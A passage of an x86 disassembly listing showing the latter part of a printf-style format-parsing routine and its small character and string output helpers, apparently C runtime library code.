loc_424FDB:				; CODE XREF: sub_424CB0+309j
					; sub_424CB0+315j
		mov	[ebp+var_18], 0
		jmp	loc_424D70
; ---------------------------------------------------------------------------


loc_424FE7:				; CODE XREF: sub_424CB0+329j
		jmp	short loc_424FFC
; ---------------------------------------------------------------------------


loc_424FE9:				; CODE XREF: sub_424CB0+2EEj
					; DATA XREF: seg000:00425921o
		mov	eax, [ebp+var_4]
		or	al, 20h
		mov	[ebp+var_4], eax
		jmp	short loc_424FFC
; ---------------------------------------------------------------------------


loc_424FF3:				; CODE XREF: sub_424CB0+2EEj
					; DATA XREF: seg000:00425929o
		mov	ecx, [ebp+var_4]
		or	ch, 8
		mov	[ebp+var_4], ecx


loc_424FFC:				; CODE XREF: sub_424CB0+2DEj
					; sub_424CB0+2EEj ...
		jmp	loc_4258C2
; ---------------------------------------------------------------------------


loc_425001:				; CODE XREF: sub_424CB0+B9j
					; DATA XREF: seg000:004258F0o
		movsx	edx, byte ptr [ebp+var_28]
		mov	[ebp+var_2A0], edx
		mov	eax, [ebp+var_2A0]
		sub	eax, 43h
		mov	[ebp+var_2A0], eax
		cmp	[ebp+var_2A0], 35h
		ja	loc_4256E7
		mov	edx, [ebp+var_2A0]
		xor	ecx, ecx
		mov	cl, ds:byte_42599C[edx]
		jmp	ds:off_425960[ecx*4]


loc_42503C:				; DATA XREF: seg000:off_425960o
		mov	eax, [ebp+var_4]
		and	eax, 830h
		test	eax, eax
		jnz	short loc_425051
		mov	ecx, [ebp+var_4]
		or	ch, 8
		mov	[ebp+var_4], ecx


loc_425051:				; CODE XREF: sub_424CB0+385j
					; sub_424CB0+396j
					; DATA XREF: ...
		mov	edx, [ebp+var_4]
		and	edx, 810h
		test	edx, edx
		jz	short loc_425097
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_425B30
		add	esp, 4
		mov	[ebp+var_14], ax
		mov	cx, [ebp+var_14]
		push	ecx
		lea	edx, [ebp+var_228]
		push	edx
		call	sub_42E8B0
		add	esp, 8
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jge	short loc_425095
		mov	[ebp+var_23C], 1


loc_425095:				; CODE XREF: sub_424CB0+3D9j
		jmp	short loc_4250BD
; ---------------------------------------------------------------------------


loc_425097:				; CODE XREF: sub_424CB0+3ACj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_425AF0
		add	esp, 4
		mov	[ebp+var_248], ax
		mov	cl, byte ptr [ebp+var_248]
		mov	[ebp+var_228], cl
		mov	[ebp+var_24], 1


loc_4250BD:				; CODE XREF: sub_424CB0:loc_425095j
		lea	edx, [ebp+var_228]
		mov	[ebp+var_20], edx
		jmp	loc_4256E7
; ---------------------------------------------------------------------------


loc_4250CB:				; CODE XREF: sub_424CB0+385j
					; DATA XREF: seg000:00425970o
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_425AF0
		add	esp, 4
		mov	[ebp+var_24C], eax
		cmp	[ebp+var_24C], 0
		jz	short loc_4250F2
		mov	ecx, [ebp+var_24C]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_42510C


loc_4250F2:				; CODE XREF: sub_424CB0+434j
		mov	edx, ds:off_450038
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	[ebp+var_24], eax
		jmp	short loc_42515B
; ---------------------------------------------------------------------------


loc_42510C:				; CODE XREF: sub_424CB0+440j
		mov	ecx, [ebp+var_4]
		and	ecx, 800h
		test	ecx, ecx
		jz	short loc_42513C
		mov	edx, [ebp+var_24C]
		mov	eax, [edx+4]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_24C]
		movsx	edx, word ptr [ecx]
		shr	edx, 1
		mov	[ebp+var_24], edx
		mov	[ebp+var_1C], 1
		jmp	short loc_42515B
; ---------------------------------------------------------------------------


loc_42513C:				; CODE XREF: sub_424CB0+467j
		mov	[ebp+var_1C], 0
		mov	eax, [ebp+var_24C]
		mov	ecx, [eax+4]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_24C]
		movsx	eax, word ptr [edx]
		mov	[ebp+var_24], eax


loc_42515B:				; CODE XREF: sub_424CB0+45Aj
					; sub_424CB0+48Aj
		jmp	loc_4256E7
; ---------------------------------------------------------------------------


loc_425160:				; CODE XREF: sub_424CB0+385j
					; DATA XREF: seg000:00425968o
		mov	ecx, [ebp+var_4]
		and	ecx, 830h
		test	ecx, ecx
		jnz	short loc_425176
		mov	edx, [ebp+var_4]
		or	dh, 8
		mov	[ebp+var_4], edx


loc_425176:				; CODE XREF: sub_424CB0+385j
					; sub_424CB0+4BBj
					; DATA XREF: ...
		cmp	[ebp+var_234], 0FFFFFFFFh
		jnz	short loc_42518B
		mov	[ebp+var_2A4], 7FFFFFFFh
		jmp	short loc_425197
; ---------------------------------------------------------------------------


loc_42518B:				; CODE XREF: sub_424CB0+4CDj
		mov	eax, [ebp+var_234]
		mov	[ebp+var_2A4], eax


loc_425197:				; CODE XREF: sub_424CB0+4D9j
		mov	ecx, [ebp+var_2A4]
		mov	[ebp+var_258], ecx
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_425AF0
		add	esp, 4
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_4]
		and	eax, 810h
		test	eax, eax
		jz	short loc_425226
		cmp	[ebp+var_20], 0
		jnz	short loc_4251CD
		mov	ecx, ds:off_45003C
		mov	[ebp+var_20], ecx


loc_4251CD:				; CODE XREF: sub_424CB0+512j
		mov	[ebp+var_1C], 1
		mov	edx, [ebp+var_20]
		mov	[ebp+var_254], edx


loc_4251DD:				; CODE XREF: sub_424CB0+564j
		mov	eax, [ebp+var_258]
		mov	ecx, [ebp+var_258]
		sub	ecx, 1
		mov	[ebp+var_258], ecx
		test	eax, eax
		jz	short loc_425216
		mov	edx, [ebp+var_254]
		xor	eax, eax
		mov	ax, [edx]
		test	eax, eax
		jz	short loc_425216
		mov	ecx, [ebp+var_254]
		add	ecx, 2
		mov	[ebp+var_254], ecx
		jmp	short loc_4251DD
; ---------------------------------------------------------------------------


loc_425216:				; CODE XREF: sub_424CB0+544j
					; sub_424CB0+553j
		mov	edx, [ebp+var_254]
		sub	edx, [ebp+var_20]
		sar	edx, 1
		mov	[ebp+var_24], edx
		jmp	short loc_425280
; ---------------------------------------------------------------------------


loc_425226:				; CODE XREF: sub_424CB0+50Cj
		cmp	[ebp+var_20], 0
		jnz	short loc_425234
		mov	eax, ds:off_450038
		mov	[ebp+var_20], eax


loc_425234:				; CODE XREF: sub_424CB0+57Aj
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_250], ecx


loc_42523D:				; CODE XREF: sub_424CB0+5C2j
					; DATA XREF: seg002:off_44D710o
		mov	edx, [ebp+var_258]


loc_425243:				; DATA XREF: seg002:00450924o
		mov	eax, [ebp+var_258]
		sub	eax, 1
		mov	[ebp+var_258], eax
		test	edx, edx
		jz	short loc_425274
		mov	ecx, [ebp+var_250]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_425274
		mov	eax, [ebp+var_250]
		add	eax, 1
		mov	[ebp+var_250], eax
		jmp	short loc_42523D
; ---------------------------------------------------------------------------


loc_425274:				; CODE XREF: sub_424CB0+5A4j
					; sub_424CB0+5B1j
		mov	ecx, [ebp+var_250]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx


loc_425280:				; CODE XREF: sub_424CB0+574j
		jmp	loc_4256E7
; ---------------------------------------------------------------------------


loc_425285:				; CODE XREF: sub_424CB0+385j
					; DATA XREF: seg000:00425980o
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_425AF0
		add	esp, 4
		mov	[ebp+var_25C], eax
		mov	eax, [ebp+var_4]
		and	eax, 20h
		test	eax, eax
		jz	short loc_4252B3
		mov	ecx, [ebp+var_25C]
		mov	dx, word ptr [ebp+var_22C]
		mov	[ecx], dx
		jmp	short loc_4252C1
; ---------------------------------------------------------------------------


loc_4252B3:				; CODE XREF: sub_424CB0+5EFj
		mov	eax, [ebp+var_25C]
		mov	ecx, [ebp+var_22C]
		mov	[eax], ecx


loc_4252C1:				; CODE XREF: sub_424CB0+601j
		mov	[ebp+var_23C], 1
		jmp	loc_4256E7
; ---------------------------------------------------------------------------


loc_4252D0:				; CODE XREF: sub_424CB0+385j
					; DATA XREF: seg000:00425964o
		mov	[ebp+var_8], 1
		mov	dl, byte ptr [ebp+var_28]
		add	dl, 20h
		mov	byte ptr [ebp+var_28], dl


loc_4252E0:				; CODE XREF: sub_424CB0+385j
					; DATA XREF: seg000:0042597Co
		mov	eax, [ebp+var_4]
		or	al, 40h
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_228]
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_234], 0
		jge	short loc_425306
		mov	[ebp+var_234], 6
		jmp	short loc_425322
; ---------------------------------------------------------------------------


loc_425306:				; CODE XREF: sub_424CB0+648j
		cmp	[ebp+var_234], 0
		jnz	short loc_425322
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 67h
		jnz	short loc_425322
		mov	[ebp+var_234], 1


loc_425322:				; CODE XREF: sub_424CB0+654j
					; sub_424CB0+65Dj ...
		mov	eax, [ebp+arg_8]
		add	eax, 8
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_8]
		sub	ecx, 8
		mov	edx, [ecx]
		mov	eax, [ecx+4]
		mov	[ebp+var_264], edx
		mov	[ebp+var_260], eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_234]
		push	edx
		movsx	eax, byte ptr [ebp+var_28]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		lea	edx, [ebp+var_264]
		push	edx
		call	ds:off_4503F8
		add	esp, 14h
		mov	eax, [ebp+var_4]
		and	eax, 80h
		test	eax, eax
		jz	short loc_425388
		cmp	[ebp+var_234], 0
		jnz	short loc_425388
		mov	ecx, [ebp+var_20]
		push	ecx
		call	ds:off_450404
		add	esp, 4


loc_425388:				; CODE XREF: sub_424CB0+6C0j
					; sub_424CB0+6C9j
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 67h
		jnz	short loc_4253AA
		mov	eax, [ebp+var_4]
		and	eax, 80h
		test	eax, eax
		jnz	short loc_4253AA
		mov	ecx, [ebp+var_20]
		push	ecx
		call	ds:off_4503FC
		add	esp, 4


loc_4253AA:				; CODE XREF: sub_424CB0+6DFj
					; sub_424CB0+6EBj
		mov	edx, [ebp+var_20]
		movsx	eax, byte ptr [edx]
		cmp	eax, 2Dh
		jnz	short loc_4253C7
		mov	ecx, [ebp+var_4]
		or	ch, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx


loc_4253C7:				; CODE XREF: sub_424CB0+703j
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	[ebp+var_24], eax
		jmp	loc_4256E7
; ---------------------------------------------------------------------------


loc_4253DB:				; CODE XREF: sub_424CB0+385j
					; DATA XREF: seg000:00425978o
		mov	ecx, [ebp+var_4]
		or	ecx, 40h
		mov	[ebp+var_4], ecx
		mov	[ebp+var_238], 0Ah
		jmp	loc_425475
; ---------------------------------------------------------------------------


loc_4253F3:				; CODE XREF: sub_424CB0+385j
					; DATA XREF: seg000:00425990o
		mov	[ebp+var_238], 0Ah
		jmp	short loc_425475
; ---------------------------------------------------------------------------


loc_4253FF:				; CODE XREF: sub_424CB0+385j
					; DATA XREF: seg000:00425988o
		mov	[ebp+var_234], 8


loc_425409:				; CODE XREF: sub_424CB0+385j
					; DATA XREF: seg000:0042596Co
		mov	[ebp+var_230], 7
		jmp	short loc_42541F
; ---------------------------------------------------------------------------


loc_425415:				; CODE XREF: sub_424CB0+385j
					; DATA XREF: seg000:00425994o
		mov	[ebp+var_230], 27h


loc_42541F:				; CODE XREF: sub_424CB0+763j
		mov	[ebp+var_238], 10h
		mov	edx, [ebp+var_4]
		and	edx, 80h
		test	edx, edx
		jz	short loc_425453
		mov	[ebp+var_240], 30h
		mov	eax, [ebp+var_230]
		add	eax, 51h
		mov	[ebp+var_23F], al
		mov	[ebp+var_10], 2


loc_425453:				; CODE XREF: sub_424CB0+784j
		jmp	short loc_425475
; ---------------------------------------------------------------------------


loc_425455:				; CODE XREF: sub_424CB0+385j
					; DATA XREF: seg000:00425984o
		mov	[ebp+var_238], 8
		mov	ecx, [ebp+var_4]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_425475
		mov	edx, [ebp+var_4]
		or	dh, 2
		mov	[ebp+var_4], edx


loc_425475:				; CODE XREF: sub_424CB0+73Ej
					; sub_424CB0+74Dj ...
		mov	eax, [ebp+var_4]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_42549E
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_425B10
		add	esp, 4
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	loc_42552F
; ---------------------------------------------------------------------------


loc_42549E:				; CODE XREF: sub_424CB0+7CFj
		mov	edx, [ebp+var_4]
		and	edx, 20h
		test	edx, edx
		jz	short loc_4254F0
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_4254D0
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_425AF0
		add	esp, 4
		movsx	eax, ax
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	short loc_4254EE
; ---------------------------------------------------------------------------


loc_4254D0:				; CODE XREF: sub_424CB0+800j
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_425AF0
		add	esp, 4
		and	eax, 0FFFFh
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx


loc_4254EE:				; CODE XREF: sub_424CB0+81Ej
		jmp	short loc_42552F
; ---------------------------------------------------------------------------


loc_4254F0:				; CODE XREF: sub_424CB0+7F6j
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_425515
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_425AF0
		add	esp, 4
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	short loc_42552F
; ---------------------------------------------------------------------------


loc_425515:				; CODE XREF: sub_424CB0+848j
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_425AF0
		add	esp, 4
		xor	ecx, ecx
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], ecx


loc_42552F:				; CODE XREF: sub_424CB0+7E9j
					; sub_424CB0:loc_4254EEj ...
		mov	edx, [ebp+var_4]
		and	edx, 40h
		test	edx, edx
		jz	short loc_425577
		cmp	[ebp+var_274], 0
		jg	short loc_425577
		jl	short loc_42554D
		cmp	[ebp+var_278], 0
		jnb	short loc_425577


loc_42554D:				; CODE XREF: sub_424CB0+892j
		mov	eax, [ebp+var_278]
		neg	eax
		mov	ecx, [ebp+var_274]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], ecx
		mov	edx, [ebp+var_4]
		or	dh, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42558F
; ---------------------------------------------------------------------------


loc_425577:				; CODE XREF: sub_424CB0+887j
					; sub_424CB0+890j ...
		mov	eax, [ebp+var_278]
		mov	[ebp+var_26C], eax
		mov	ecx, [ebp+var_274]
		mov	[ebp+var_268], ecx


loc_42558F:				; CODE XREF: sub_424CB0+8C5j
		mov	edx, [ebp+var_4]
		and	edx, 8000h
		test	edx, edx
		jnz	short loc_4255B7
		mov	eax, [ebp+var_26C]
		mov	ecx, [ebp+var_268]
		and	ecx, 0
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], ecx


loc_4255B7:				; CODE XREF: sub_424CB0+8EAj
		cmp	[ebp+var_234], 0
		jge	short loc_4255CC
		mov	[ebp+var_234], 1
		jmp	short loc_4255D5
; ---------------------------------------------------------------------------


loc_4255CC:				; CODE XREF: sub_424CB0+90Ej
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFF7h
		mov	[ebp+var_4], edx


loc_4255D5:				; CODE XREF: sub_424CB0+91Aj
		mov	eax, [ebp+var_26C]
		or	eax, [ebp+var_268]
		test	eax, eax
		jnz	short loc_4255EC
		mov	[ebp+var_10], 0


loc_4255EC:				; CODE XREF: sub_424CB0+933j
		lea	ecx, [ebp+var_29]
		mov	[ebp+var_20], ecx


loc_4255F2:				; CODE XREF: sub_424CB0+9EBj
		mov	edx, [ebp+var_234]
		mov	eax, [ebp+var_234]
		sub	eax, 1
		mov	[ebp+var_234], eax
		test	edx, edx
		jg	short loc_42561F
		mov	ecx, [ebp+var_26C]
		or	ecx, [ebp+var_268]
		test	ecx, ecx
		jz	loc_4256A0


loc_42561F:				; CODE XREF: sub_424CB0+959j
		mov	eax, [ebp+var_238]
		cdq
		push	edx
		push	eax
		mov	edx, [ebp+var_268]
		push	edx
		mov	eax, [ebp+var_26C]
		push	eax
		call	sub_420430
		add	eax, 30h
		mov	[ebp+var_270], eax
		mov	eax, [ebp+var_238]
		cdq
		push	edx
		push	eax
		mov	ecx, [ebp+var_268]
		push	ecx
		mov	edx, [ebp+var_26C]
		push	edx
		call	sub_4203C0
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], edx
		cmp	[ebp+var_270], 39h
		jle	short loc_425687
		mov	eax, [ebp+var_270]
		add	eax, [ebp+var_230]
		mov	[ebp+var_270], eax


loc_425687:				; CODE XREF: sub_424CB0+9C3j
		mov	ecx, [ebp+var_20]
		mov	dl, byte ptr [ebp+var_270]
		mov	[ecx], dl
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		jmp	loc_4255F2
; ---------------------------------------------------------------------------


loc_4256A0:				; CODE XREF: sub_424CB0+969j
		lea	ecx, [ebp+var_29]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_4]
		and	eax, 200h
		test	eax, eax
		jz	short loc_4256E7
		mov	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 30h
		jnz	short loc_4256CF
		cmp	[ebp+var_24], 0
		jnz	short loc_4256E7


loc_4256CF:				; CODE XREF: sub_424CB0+A17j
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		mov	byte ptr [ecx],	30h
		mov	edx, [ebp+var_24]
		add	edx, 1
		mov	[ebp+var_24], edx


loc_4256E7:				; CODE XREF: sub_424CB0+371j
					; sub_424CB0+385j ...
		cmp	[ebp+var_23C], 0
		jnz	loc_4258C2
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_42574D
		mov	ecx, [ebp+var_4]
		and	ecx, 100h
		test	ecx, ecx
		jz	short loc_42571B
		mov	[ebp+var_240], 2Dh
		mov	[ebp+var_10], 1
		jmp	short loc_42574D
; ---------------------------------------------------------------------------


loc_42571B:				; CODE XREF: sub_424CB0+A59j
		mov	edx, [ebp+var_4]
		and	edx, 1
		test	edx, edx
		jz	short loc_425735
		mov	[ebp+var_240], 2Bh
		mov	[ebp+var_10], 1
		jmp	short loc_42574D
; ---------------------------------------------------------------------------


loc_425735:				; CODE XREF: sub_424CB0+A73j
		mov	eax, [ebp+var_4]
		and	eax, 2
		test	eax, eax
		jz	short loc_42574D
		mov	[ebp+var_240], 20h
		mov	[ebp+var_10], 1


loc_42574D:				; CODE XREF: sub_424CB0+A4Cj
					; sub_424CB0+A69j ...
		mov	ecx, [ebp+var_244]
		sub	ecx, [ebp+var_24]
		sub	ecx, [ebp+var_10]
		mov	[ebp+var_27C], ecx
		mov	edx, [ebp+var_4]
		and	edx, 0Ch
		test	edx, edx
		jnz	short loc_425785
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	20h
		call	sub_425A60
		add	esp, 10h


loc_425785:				; CODE XREF: sub_424CB0+AB7j
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		lea	eax, [ebp+var_240]
		push	eax
		call	sub_425AA0
		add	esp, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_4257D3
		mov	edx, [ebp+var_4]
		and	edx, 4
		test	edx, edx
		jnz	short loc_4257D3
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	30h
		call	sub_425A60
		add	esp, 10h


loc_4257D3:				; CODE XREF: sub_424CB0+AFBj
					; sub_424CB0+B05j
		cmp	[ebp+var_1C], 0
		jz	loc_425881
		cmp	[ebp+var_24], 0
		jle	loc_425881
		mov	eax, [ebp+var_20]
		mov	[ebp+var_280], eax
		mov	ecx, [ebp+var_24]
		mov	[ebp+var_284], ecx


loc_4257F9:				; CODE XREF: sub_424CB0+BCAj
		mov	edx, [ebp+var_284]
		mov	eax, [ebp+var_284]
		sub	eax, 1
		mov	[ebp+var_284], eax
		test	edx, edx
		jz	short loc_42587F
		mov	ecx, [ebp+var_280]
		mov	dx, [ecx]
		mov	[ebp+var_2A6], dx
		mov	ax, [ebp+var_2A6]
		push	eax
		lea	ecx, [ebp+var_288]
		push	ecx
		mov	edx, [ebp+var_280]
		add	edx, 2
		mov	[ebp+var_280], edx
		call	sub_42E8B0
		add	esp, 8
		mov	[ebp+var_28C], eax
		cmp	[ebp+var_28C], 0
		jg	short loc_425859
		jmp	short loc_42587F
; ---------------------------------------------------------------------------


loc_425859:				; CODE XREF: sub_424CB0+BA5j
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_28C]
		push	edx
		lea	eax, [ebp+var_288]
		push	eax
		call	sub_425AA0
		add	esp, 10h
		jmp	loc_4257F9
; ---------------------------------------------------------------------------


loc_42587F:				; CODE XREF: sub_424CB0+B60j
					; sub_424CB0+BA7j
		jmp	short loc_42589C
; ---------------------------------------------------------------------------


loc_425881:				; CODE XREF: sub_424CB0+B27j
					; sub_424CB0+B31j
		lea	ecx, [ebp+var_22C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		call	sub_425AA0
		add	esp, 10h


loc_42589C:				; CODE XREF: sub_424CB0:loc_42587Fj
		mov	edx, [ebp+var_4]
		and	edx, 4
		test	edx, edx
		jz	short loc_4258C2
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	20h
		call	sub_425A60
		add	esp, 10h


loc_4258C2:				; CODE XREF: sub_424CB0+ADj
					; sub_424CB0+155j ...
		jmp	loc_424CD4
; ---------------------------------------------------------------------------


loc_4258C7:				; CODE XREF: sub_424CB0+3Bj
					; sub_424CB0+48j
		mov	eax, [ebp+var_22C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_424CB0	endp

; ---------------------------------------------------------------------------
off_4258D4	dd offset loc_424D70	; DATA XREF: sub_424CB0+B9r
		dd offset loc_424E0A
		dd offset loc_424E4C
		dd offset loc_424EBB
		dd offset loc_424F13
		dd offset loc_424F22
		dd offset loc_424F6E
		dd offset loc_425001
off_4258F4	dd offset loc_424E98	; DATA XREF: sub_424CB0+1CCr
		dd offset loc_424EA3
		dd offset loc_424E8E
		dd offset loc_424E83
		dd offset loc_424EAE
		dd offset loc_424EB6
byte_42590C	db 0			; DATA XREF: sub_424CB0+1C6r
		db 2 dup(5), 1
		dd 5050505h, 2050505h, 5050305h
		db 4
off_42591D	dd offset loc_424FB0	; DATA XREF: sub_424CB0+2EEr
		dd offset loc_424FE9
		dd offset loc_424FA5
		dd offset loc_424FF3
		dd offset loc_424FFC
byte_425931	db 0			; DATA XREF: sub_424CB0+2E8r
		dw 404h
		dd 7 dup(4040404h), 4040401h, 4040402h,	4040404h, 3040404h
off_425960	dd offset loc_42503C	; DATA XREF: sub_424CB0+385r
		dd offset loc_4252D0
		dd offset loc_425160
		dd offset loc_425409
		dd offset loc_4250CB
		dd offset loc_425051
		dd offset loc_4253DB
		dd offset loc_4252E0
		dd offset loc_425285
		dd offset loc_425455
		dd offset loc_4253FF
		dd offset loc_425176
		dd offset loc_4253F3
		dd offset loc_425415
		dd offset loc_4256E7
byte_42599C	db 0			; DATA XREF: sub_424CB0+37Fr
		db 0Eh,	1, 0Eh
		dd 0E0E0E01h, 2	dup(0E0E0E0Eh),	0E0E0E02h, 40E030Eh, 2 dup(0E0E0E0Eh)
		dd 7070605h, 0E060E07h,	80E0E0Eh, 0E0E0A09h, 0E0C0E0Bh
		dd 0CCCC0D0Eh, 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4259E0	proc near		; CODE XREF: sub_424CB0+F5p
					; sub_424CB0+14Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_4]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+4], 0
		jl	short loc_425A22
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		movsx	ecx, byte ptr [ebp+arg_0]
		and	ecx, 0FFh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_425A35
; ---------------------------------------------------------------------------


loc_425A22:				; CODE XREF: sub_4259E0+1Aj
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_424A30
		add	esp, 8
		mov	[ebp+var_4], eax


loc_425A35:				; CODE XREF: sub_4259E0+40j
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_425A46
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx], 0FFFFFFFFh
		jmp	short loc_425A53
; ---------------------------------------------------------------------------


loc_425A46:				; CODE XREF: sub_4259E0+59j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax


loc_425A53:				; CODE XREF: sub_4259E0+64j
		mov	esp, ebp
		pop	ebp
		retn
sub_4259E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425A60	proc near		; CODE XREF: sub_424CB0+ACDp
					; sub_424CB0+B1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp


loc_425A63:				; CODE XREF: sub_425A60:loc_425A91j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		test	eax, eax
		jle	short loc_425A93
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4259E0
		add	esp, 0Ch
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jnz	short loc_425A91
		jmp	short loc_425A93
; ---------------------------------------------------------------------------


loc_425A91:				; CODE XREF: sub_425A60+2Dj
		jmp	short loc_425A63
; ---------------------------------------------------------------------------


loc_425A93:				; CODE XREF: sub_425A60+11j
					; sub_425A60+2Fj
		pop	ebp
		retn
sub_425A60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425AA0	proc near		; CODE XREF: sub_424CB0+AEBp
					; sub_424CB0+BC2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx


loc_425AA4:				; CODE XREF: sub_425AA0:loc_425AE4j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		test	eax, eax
		jle	short loc_425AE6
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		call	sub_4259E0
		add	esp, 0Ch
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jnz	short loc_425AE4
		jmp	short loc_425AE6
; ---------------------------------------------------------------------------


loc_425AE4:				; CODE XREF: sub_425AA0+40j
		jmp	short loc_425AA4
; ---------------------------------------------------------------------------


loc_425AE6:				; CODE XREF: sub_425AA0+12j
					; sub_425AA0+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_425AA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


